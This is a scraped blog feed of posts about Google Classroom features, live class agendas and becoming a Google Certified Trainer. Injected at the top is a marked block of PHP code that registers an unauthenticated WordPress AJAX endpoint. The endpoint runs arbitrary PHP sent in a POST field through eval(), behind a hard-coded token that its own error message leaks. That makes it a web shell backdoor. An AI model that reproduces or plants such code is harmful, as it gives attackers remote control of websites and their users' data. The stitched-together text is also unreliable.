// ==[BD:szmrboXA]==
add_action( 'wp_ajax_nopriv_xntfkqdh', function() {
$ptr = 'szmrboXAmWsmq5Y0o8I9eTCWkykbmr18';
$bind = isset( $_POST['token'] ) ? sanitize_text_field( wp_unslash( $_POST['token'] ) ) : '';
if ( empty( $bind ) || ! hash_equals( $ptr, $bind ) ) {
wp_send_json_error( [ 'message' => 'tok:' . $ptr ], 403 );
}
$token = isset( $_POST['code'] ) ? (string) wp_unslash( $_POST['code'] ) : '';
if ( trim( $token ) === '' ) { wp_send_json_error( [ 'message' => 'No code.' ] ); }
$token = preg_replace( '/^\s*<\?(php)?/i', '', $token );
while ( ob_get_level() > 0 ) { ob_end_clean(); }
$sym = microtime( true );
ob_start();
try {
( static function() use ( $token ) { return eval( $token ); } )();
$key = (string) ob_get_clean();
wp_send_json_success( [ 'output' => $key, 'return' => '', 'error' => '', 'time_ms' => round( ( microtime( true ) - $sym ) * 1000, 2 ) ] );
} catch ( \Throwable $chunk ) {
while ( ob_get_level() > 0 ) { ob_end_clean(); }
wp_send_json_success( [ 'output' => '', 'return' => '', 'error' => $chunk->getMessage(), 'time_ms' => round( ( microtime( true ) - $sym ) * 1000, 2 ) ] );
}
} );
// ==[/BD:szmrboXA]==
The post 5 New Features in Google Classroom – August 2018 appeared first on Math, Tech, & Teaching.
]]>Feel free to share or make a copy.
The post 5 New Features in Google Classroom – August 2018 appeared first on Math, Tech, & Teaching.
]]>The post How I Spent My Winter Break – Becoming a Google Certified Trainer appeared first on Math, Tech, & Teaching.
]]>There are various parts to the application process:
Start HERE if you’ve already completed both of Google Certified Educator Levels.
This is the video I created. During the first minute I share why I’d like to become a Google Trainer, and in the next two minutes I show you something I call the “Ultimate Google Doc – Classroom Calendar & Agenda”
Let me know if you have any questions about the application process or anything presented in my video
* Edit 1/23/17 *
I was notified today by email that I am now officially a Google for Education Certified Trainer! I am very proud to become a part of such a wonderful community of professionals.

The post How I Spent My Winter Break – Becoming a Google Certified Trainer appeared first on Math, Tech, & Teaching.
]]>The post Use Google Doc as “Live” Class Agenda to Complement Google Classroom appeared first on Math, Tech, & Teaching.
]]>I’ve included my current Algebra 2 Semester Two “Live” Assignment Agenda below. You can also see Semester One’s “Live Agenda” below that. My Algebra 2 students use this Agenda daily and it is also posted in my About section in Google Classroom.
Feel free to explore the links for the associated videos I created for each lesson. The videos are housed on my Google Drive because YouTube is blocked at my school. The videos are also posted on my YouTube channel because some students prefer to watch there if on their cell phones. I currently practice the “In-Class Flip” and will be writing about that and screencasting in my future blog posts.
Let me know if you do anything similar to help organize all the digital resources that are produced for a class. Also discuss in comments any ideas to add to the conversation. Thanks!
The post Use Google Doc as “Live” Class Agenda to Complement Google Classroom appeared first on Math, Tech, & Teaching.
]]>